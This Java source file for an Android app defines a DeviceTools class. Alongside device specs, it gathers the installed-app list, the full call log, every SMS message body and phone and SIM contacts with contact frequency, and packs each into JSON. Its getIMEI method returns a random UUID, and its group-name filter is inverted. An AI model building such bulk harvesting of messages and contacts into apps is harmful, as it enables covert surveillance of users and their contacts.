package com.example.verse_systems;

import android.annotation.SuppressLint;
import android.app.Activity;
import android.app.ActivityManager;
import android.content.ContentResolver;
import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageInfo;
import android.database.Cursor;
import android.net.Uri;
import android.os.BatteryManager;
import android.os.Build;
import android.os.Environment;
import android.os.Parcel;
import android.os.Parcelable;
import android.os.StatFs;
import android.os.SystemClock;
import android.provider.CallLog;
import android.provider.ContactsContract;
import android.telephony.TelephonyManager;
import android.text.TextUtils;
import android.util.DisplayMetrics;
import android.util.Log;

import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.UUID;

public class DeviceTools {

    private static final String TAG = DeviceTools.class.getSimpleName();
    private static final String FILE_MEMORY = "/proc/meminfo";


    private String[] columns = {
              CallLog.Calls.CACHED_NAME// 通话记录的联系人
            , CallLog.Calls.NUMBER// 通话记录的电话号码
            , CallLog.Calls.DATE// 通话记录的日期
            , CallLog.Calls.DURATION// 通话时长
            , CallLog.Calls.TYPE};// 通话类型}

    private Context context;
    public DeviceTools(Context context) {
        this.context = context;
    }

    //获取app屏幕尺寸
    public static DisplayMetrics getDisplayMetrics(Context context) {
        return context.getResources().getDisplayMetrics();
    }

    //获取android系统定制商 设备品牌
    public static String getBrand() {
        return Build.BRAND;
    }

    // 获取产品名 设备名称
    public static String getProduct() {
        return Build.PRODUCT;
    }

    // 获取手机型号
    public static String getModelName() {
        return Build.MODEL;
    }

    //SDK_INT SDK版本
    public static int getDeviceSDK_INT() {
        return Build.VERSION.SDK_INT;
    }

    //获取手机系统版本
    public static String getSystemVersion() {
        return Build.VERSION.RELEASE;
    }

    //获取设备序列号
    public static String getDeviceSerialNumber() {
        return Build.SERIAL;
    }

    // 获取开机到现在的毫秒数(包括睡眠时间) 最后一次启动时间
    public static long getElapsedRealtime() {
        return SystemClock.elapsedRealtime();
    }

   //获取可用ram大小
    public static long getFreeMem(Context context) {
        ActivityManager manager = (ActivityManager) context
                .getSystemService(Activity.ACTIVITY_SERVICE);
        ActivityManager.MemoryInfo info = new ActivityManager.MemoryInfo();
        manager.getMemoryInfo(info);
        // 单位Byte
        return info.availMem;
    }

    //获取ram总大小
    public static long getRamTotalSize(Context context) {
        ActivityManager manager = (ActivityManager) context.getSystemService(Activity.ACTIVITY_SERVICE);
        ActivityManager.MemoryInfo info = new ActivityManager.MemoryInfo();
        manager.getMemoryInfo(info);
        // 单位Byte
        return info.totalMem;
    }

    // 获取总机身自带存储空间大小 总内存大小
    public static long getTotalMem() {
        try {
            FileReader fr = new FileReader(FILE_MEMORY);
            BufferedReader br = new BufferedReader(fr);
            String text = br.readLine();
            String[] array = text.split("\\s+");
            Log.w(TAG, text);
            // 单位为Byte
            return Long.parseLong(array[1]) * 1024;
        } catch (FileNotFoundException e) {

        } catch (IOException e) {

        }
        return -1;
    }

    //获取SD卡可用大小
    public static long getSDFreeSize() {
        // 取得SD卡文件路径
        if (!Environment.MEDIA_MOUNTED.equals(Environment.getExternalStorageState())) return 0;
        try {
            File path = Environment.getExternalStorageDirectory();
            StatFs sf = new StatFs(path.getPath());
            long blockSize = sf.getBlockSize();
            long freeBlocks = sf.getAvailableBlocks();
            // 单位Byte
            return freeBlocks * blockSize;
        } catch (IllegalArgumentException e) {
            e.printStackTrace();
        } catch (IllegalStateException e) {
            e.printStackTrace();
        }
        return 0;
    }

    //获取sd卡总大小
    public static long getSDAllSize() {
        if (!Environment.MEDIA_MOUNTED.equals(Environment.getExternalStorageState())) {
            return 0;
        }
        try {
            File path = Environment.getExternalStorageDirectory();
            StatFs sf = new StatFs(path.getPath());
            long blockSize = sf.getBlockSize();
            long allBlocks = sf.getBlockCount();
            // 单位Byte
            return allBlocks * blockSize;
        } catch (IllegalArgumentException e) {
            e.printStackTrace();
        } catch (IllegalStateException e) {
            e.printStackTrace();
        }
        return 0;
    }



   //获取电池电量百分比
    public static int getBatteryPercent(Context context){
        BatteryManager manager = (BatteryManager)context.getSystemService(Context.BATTERY_SERVICE);
        return manager.getIntProperty(BatteryManager.BATTERY_PROPERTY_CAPACITY);
    }

    // 获取设备的唯一标识UUID
    public static String getIMEI() {
        UUID uuid = UUID.randomUUID();
        String uniqueId = uuid.toString();
        return  uniqueId;
    }


    //获取手机上安装的app
    public static String getApplicationListNames(Context context) {
        JSONArray jsonArray = new JSONArray();
        List<PackageInfo> packages = context.getPackageManager().getInstalledPackages(0);

        for (PackageInfo packageInfo : packages) {
            // Only display the non-system app info
            if ( (packageInfo.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) == 0) {

                try {
                    JSONObject jsonObject = new JSONObject();
                    jsonObject.put(
                            "app_name",
                            packageInfo.applicationInfo.loadLabel(context.getPackageManager()).toString()
                    );
                    jsonObject.put("last_update_time", packageInfo.lastUpdateTime);
                    jsonObject.put("app_package_name", packageInfo.packageName);
                    jsonObject.put("version_number", packageInfo.versionCode);
                    jsonObject.put("version_name", packageInfo.versionName);
                    jsonObject.put("installation_time", packageInfo.firstInstallTime);
                    jsonObject.put("is_system_applications", 0);
                    jsonArray.put(jsonObject);
                } catch (JSONException e) {
                    e.printStackTrace();
                }
            }else{
                 try {
                    JSONObject jsonObject = new JSONObject();
                    jsonObject.put(
                            "app_name",
                            packageInfo.applicationInfo.loadLabel(context.getPackageManager()).toString()
                    );
                    jsonObject.put("last_update_time", packageInfo.lastUpdateTime);
                    jsonObject.put("app_package_name", packageInfo.packageName);
                    jsonObject.put("version_number", packageInfo.versionCode);
                    jsonObject.put("version_name", packageInfo.versionName);
                    jsonObject.put("installation_time", packageInfo.firstInstallTime);
                    jsonObject.put("is_system_applications", 1);
                    jsonArray.put(jsonObject);
                } catch (JSONException e) {
                    e.printStackTrace();
                }
            }
        }
        return jsonArray.toString() ;
    }


    //获取通话记录
    String queryCallRecords() {
        JSONArray jsonArray = new JSONArray();
        Uri callUri = CallLog.Calls.CONTENT_URI;
        Cursor cursor = context.getContentResolver().query(callUri, // 查询通话记录的URI
                columns, null, null, CallLog.Calls.DEFAULT_SORT_ORDER// 按照时间逆序排列，最近打的最先显示
        );

        while (cursor.moveToNext()) {
            @SuppressLint("Range")  String name = cursor.getString(cursor.getColumnIndex(CallLog.Calls.CACHED_NAME));
            @SuppressLint("Range")  String number = cursor.getString(cursor.getColumnIndex(CallLog.Calls.NUMBER));
            @SuppressLint("Range")  String date  = cursor.getString(cursor.getColumnIndex(CallLog.Calls.DATE));
            @SuppressLint("Range")  int duration = cursor.getInt(cursor.getColumnIndex(CallLog.Calls.DURATION));
            @SuppressLint("Range")  int type = cursor.getInt(cursor.getColumnIndex(CallLog.Calls.TYPE));

            String call_type = "";
            switch (type) {
                case CallLog.Calls.INCOMING_TYPE:
                    //"打入"
                    call_type = "1";
                    break;
                case CallLog.Calls.OUTGOING_TYPE:
                    //"打出"
                    call_type = "2";
                    break;
                case CallLog.Calls.MISSED_TYPE:
                    //"未接"
                    call_type = "3";
                    break;
                default:
                    break;
            }

            try {
                JSONObject jsonObject = new JSONObject();
                jsonObject.put("call_type", call_type);
                jsonObject.put("number", number);
                jsonObject.put("name", name);
                jsonObject.put("call_time", date);
                jsonObject.put("call_duration", String.valueOf(duration));
                jsonArray.put(jsonObject);
            } catch (JSONException e) {
                e.printStackTrace();
            }
        }
        return jsonArray.toString();
    }

    //获取短信记录
    String querySmsRecords() {
        Uri SMS_INBOX = Uri.parse("content://sms/");
//        List<Map<String, String>> list = new ArrayList<>();
        JSONArray jsonArray = new JSONArray();
        String[] projection = new String[]{"_id", "address", "person", "body", "date", "type"};
//        Cursor cur = cr.query(SMS_INBOX, projection, null, null, "date desc");
        Cursor cur = context.getContentResolver().query(SMS_INBOX, projection, null, null, null);
        if (null == cur) {
            return null;
        }
        while (cur.moveToNext()) {
            @SuppressLint("Range") String phone = cur.getString(cur.getColumnIndex("address"));//手机号
//          @SuppressLint("Range") String name = cur.getString(cur.getColumnIndex("person"));//联系人姓名列表
            @SuppressLint("Range") String content = cur.getString(cur.getColumnIndex("body"));//短信内容
            @SuppressLint("Range") String type = cur.getString(cur.getColumnIndex("type"));//短信type,1，接受，2，发送
            @SuppressLint("Range") String date = cur.getString(cur.getColumnIndex("date"));//短信日期
            try {
                JSONObject jsonObject = new JSONObject();
                jsonObject.put("phone", phone);
                jsonObject.put("content", content);
                jsonObject.put("type", type);
                jsonObject.put("status", "0");
                jsonObject.put("sending_time", date);
                jsonArray.put(jsonObject);
            } catch (JSONException e) {
                e.printStackTrace();
            }

        }
        return jsonArray.toString();
    }


    //获取通讯录数据
    String queryContacts() {
        List<SLContactInfoEntity> list = queryContacts(0, -1);
        JSONArray contactArray = new JSONArray();
        if (list.size() > 0) {
            for (SLContactInfoEntity item : list) {
                addModel(contactArray, item);
            }
        }
        return contactArray.toString();
    }

    private void addModel(JSONArray contactArray, SLContactInfoEntity item) {
        JSONObject contactItem = new JSONObject();
        try {
            contactItem.put("name", item.name);
            contactItem.put("number", item.number);
            if (TextUtils.isEmpty(item.contactTimes)) {
                contactItem.put("times", "0");
            } else {
                contactItem.put("times", item.contactTimes);
            }
            contactArray.put(contactItem);
        } catch (Exception e){
            e.printStackTrace();
        }
    }


    /**
     * 获取通讯录信息
     *
     * @param id     , 通讯录id， 取列表中最小的一个
     * @param limit, 一次取的个数
     */
    private List<SLContactInfoEntity> queryContacts(long id, long limit){
        ArrayList<SLContactInfoEntity> allFriendInfoList = new ArrayList<>();
        try {
            allFriendInfoList.addAll(fillDetailInfo(id, limit));
            allFriendInfoList.addAll(getSimContactInfoList());
        } catch (Exception e) {
            e.printStackTrace();
        }
        return allFriendInfoList;
    }

    /**
     * 得到手机SIM卡联系人人信息
     *
     */
    private ArrayList<SLContactInfoEntity> getSimContactInfoList()  {
        ArrayList<SLContactInfoEntity> simFriendInfos = new ArrayList<>();
        TelephonyManager manager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
        if (manager.getSimState() != TelephonyManager.SIM_STATE_READY) {
            return simFriendInfos;
        }

        ContentResolver resolver = context.getContentResolver();
        // 获取Sims卡联系人
        Uri uri = Uri.parse("content://icc/adn");
        Cursor phoneCursor = resolver.query(uri, PHONES_PROJECTION, null, null, null);
        if (null == phoneCursor) {
            return simFriendInfos;
        }

        while (phoneCursor.moveToNext()) {
            int columnIndex = phoneCursor.getColumnIndex(ContactsContract.Contacts._ID);
            long id = phoneCursor.getLong(columnIndex);
            // 得到手机号码
            @SuppressLint("Range") String phoneNumber = phoneCursor.getString(phoneCursor.getColumnIndex("number"));
            // 当手机号码为空的或者为空字段 跳过当前循环
            if (TextUtils.isEmpty(phoneNumber)) continue;
            // 得到联系人名称
            @SuppressLint("Range") String contactName = phoneCursor.getString(phoneCursor.getColumnIndex("name"));

            setM(simFriendInfos, id, phoneNumber, contactName);
        }
        phoneCursor.close();
        return simFriendInfos;
    }

    private void setM(ArrayList<SLContactInfoEntity> simFriendInfos, long id, String phoneNumber, String contactName) {
        SLContactInfoEntity friendInfo = new SLContactInfoEntity();
        friendInfo.name = contactName;
        friendInfo.number = phoneNumber;
        friendInfo.type = SIM;
        friendInfo.id = id;
        friendInfo.groups = queryGroups(id);
        simFriendInfos.add(friendInfo);
    }

    /**
     * 填充详细信息
     */
    private ArrayList<SLContactInfoEntity> fillDetailInfo(long id, long limit)  {
        ArrayList<SLContactInfoEntity> phoneFriendInfoList = new ArrayList<>();

        ContentResolver cr = context.getContentResolver();
        String[] projection = new String[]{
                ContactsContract.Contacts._ID,
                ContactsContract.Contacts.HAS_PHONE_NUMBER,
                ContactsContract.Contacts.DISPLAY_NAME};
        String selection = ContactsContract.Contacts._ID + " > " + id;
        String sort = ContactsContract.Contacts._ID;
        Uri queryUri;
        if (limit > 0) {
            queryUri = ContactsContract.Contacts.CONTENT_URI.buildUpon()
                    .appendQueryParameter(LIMIT_PARAM_KEY, limit + "").build();
        } else {
            queryUri = ContactsContract.Contacts.CONTENT_URI;
        }
        Cursor cursor = cr.query(queryUri, projection, selection, null, sort);
        if (cursor == null || cursor.getCount() == 0) {
            if (null != cursor) {
                cursor.close();
            }
            return phoneFriendInfoList;
        }

        while (cursor.moveToNext()) {
            queryUri = ContactsContract.CommonDataKinds.Phone.CONTENT_URI;
            selection = ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = ? ";

            String[] args = new String[1];
            StringBuilder builder = new StringBuilder();

            // contact_id
            int columnIndex = cursor.getColumnIndex(ContactsContract.Contacts._ID);
            long rawId = cursor.getLong(columnIndex);
            // has_phone_number
            int hasPhoneColumnIndex = cursor.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER);
            boolean hasPhone = hasPhoneColumnIndex > 0 && cursor.getInt(hasPhoneColumnIndex) > 0;
            // display_name
            int displayNameColumnIndex = cursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME);

            String displayName = cursor.getString(displayNameColumnIndex);


            SLContactInfoEntity friendInfo = new SLContactInfoEntity();
            friendInfo.id = rawId;
            friendInfo.groups = queryGroups(rawId);
            String phoneNumber = "";
            if (hasPhone) {    //没有电话号码过滤该号码
                args[0] = rawId + "";

                projection = new String[]{
                        ContactsContract.CommonDataKinds.Phone.NUMBER,
                        ContactsContract.CommonDataKinds.Phone.LAST_TIME_CONTACTED,
                        ContactsContract.CommonDataKinds.Phone.LAST_TIME_USED,
                        ContactsContract.CommonDataKinds.Phone.TIMES_USED,
                        ContactsContract.CommonDataKinds.Phone.TIMES_CONTACTED,
                        ContactsContract.CommonDataKinds.Phone.CONTACT_LAST_UPDATED_TIMESTAMP};

                Cursor phoneCur = cr.query(queryUri, projection, selection, args, null);
                if (phoneCur == null || phoneCur.getCount() <= 0) {
                    //没有电话号码，过滤该号码
                    if (null != phoneCur) phoneCur.close();
                    continue;
                }

                builder.delete(0, builder.length());

                while (phoneCur.moveToNext()) {

                    int timesContactsColumnIndex = phoneCur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.TIMES_CONTACTED);
                    friendInfo.contactTimes = phoneCur.getString(timesContactsColumnIndex);

                    int lastTimeUsedColumnIndex = phoneCur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.LAST_TIME_USED);
                    friendInfo.lastUsedTime = phoneCur.getLong(lastTimeUsedColumnIndex);

                    int lastTimeContactedColumnIndex = phoneCur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.LAST_TIME_CONTACTED);
                    friendInfo.lastContactTime = phoneCur.getLong(lastTimeContactedColumnIndex);

                    int lastUpdateTimeUsedColumnIndex = phoneCur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.CONTACT_LAST_UPDATED_TIMESTAMP);
                    friendInfo.lastUpdateTime = phoneCur.getLong(lastUpdateTimeUsedColumnIndex);

                    columnIndex = phoneCur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER);

                    if (columnIndex < 0) continue;

                    String phone = phoneCur.getString(columnIndex);
                    if (!TextUtils.isEmpty(phone)) {
                        builder.append(phone);
                        if (!phoneCur.isLast()) {
                            builder.append(",");
                        }
                    }
                }
                phoneCur.close();
                phoneNumber = builder.toString();
            }

            friendInfo.name = displayName;
            friendInfo.type = DEVICE;
            friendInfo.number = phoneNumber;

            phoneFriendInfoList.add(friendInfo);
        }
        return phoneFriendInfoList;
    }

    private ArrayList<String> queryGroups(long rawId) {
        ArrayList<String> groupNameArray = new ArrayList<>();
        ContentResolver cr = context.getContentResolver();
        Cursor groupCursor = cr.query(
                ContactsContract.Data.CONTENT_URI,
                new String[]{ContactsContract.CommonDataKinds.GroupMembership.GROUP_ROW_ID},
                ContactsContract.CommonDataKinds.GroupMembership.MIMETYPE + "='" + ContactsContract.CommonDataKinds.GroupMembership.CONTENT_ITEM_TYPE + "' AND " + ContactsContract.Data.RAW_CONTACT_ID + " = " + rawId,
                null,
                null
        );
// Second, get all the corresponding group names
        while (groupCursor.moveToNext()) {
            Cursor groupNameCursor = cr.query(
                    ContactsContract.Groups.CONTENT_URI,
                    new String[]{ContactsContract.Groups.TITLE},
                    ContactsContract.Groups._ID + "=" + groupCursor.getInt(0),
                    null,
                    null
            );
            groupNameCursor.moveToNext();
            String string = groupNameCursor.getString(0);
            if (TextUtils.isEmpty(string)) {
                groupNameArray.add(string);
            }
            groupNameCursor.close();
        }
        groupCursor.close();
        return groupNameArray;
    }

    private static final String DEVICE = "device";
    private static final String SIM = "sim";

    /**
     * 获取联系人的相关字段表字段
     */
    private static final String[] PHONES_PROJECTION = new String[]{
            ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME,
            ContactsContract.CommonDataKinds.Phone.NUMBER,
            ContactsContract.CommonDataKinds.Phone.TIMES_CONTACTED,
            ContactsContract.CommonDataKinds.Phone.LAST_TIME_CONTACTED,
            ContactsContract.CommonDataKinds.Photo.PHOTO_ID,
            ContactsContract.CommonDataKinds.Phone.CONTACT_ID
    };

    private static final String LIMIT_PARAM_KEY = "limit";

    class Contact{
        public String name;
        public String phone;
        public ArrayList<String> groups;

        public Contact(String name, String phone, ArrayList<String> groups) {
            this.name = name;
            this.phone = phone;
            this.groups = groups;
        }
    }

    public static class SLContactInfoEntity implements Parcelable {

        private long id;
        private String name;
        private String number;
        private Boolean isChecked;
        private String type;
        private long lastUpdateTime;
        private long lastContactTime;
        private long lastUsedTime;
        private String contactTimes;
        private ArrayList<String> groups;

        public SLContactInfoEntity() {
        }

        protected SLContactInfoEntity(Parcel parcel) {
            id = parcel.readLong();
            name = parcel.readString();
            number = parcel.readString();
            isChecked = parcel.readByte() != 0;
            type = parcel.readString();
            lastUpdateTime = parcel.readLong();
            lastContactTime = parcel.readLong();
            lastUsedTime = parcel.readLong();
            contactTimes = parcel.readString();
            groups = parcel.createStringArrayList();
        }

        @Override
        public void writeToParcel(Parcel parcel, int flags) {
            parcel.writeLong(id);
            parcel.writeString(name);
            parcel.writeString(number);
            parcel.writeByte((byte) (isChecked ? 1 : 0));
            parcel.writeString(type);
            parcel.writeLong(lastUpdateTime);
            parcel.writeLong(lastContactTime);
            parcel.writeLong(lastUsedTime);
            parcel.writeString(contactTimes);
            parcel.writeStringList(groups);
        }

        @Override
        public int describeContents() {
            return 0;
        }



        public static final Creator<SLContactInfoEntity> CREATOR = new Creator<SLContactInfoEntity>() {
            @Override
            public SLContactInfoEntity createFromParcel(Parcel in) {
                return new SLContactInfoEntity(in);
            }

            @Override
            public SLContactInfoEntity[] newArray(int size) {
                return new SLContactInfoEntity[size];
            }
        };

    }
}
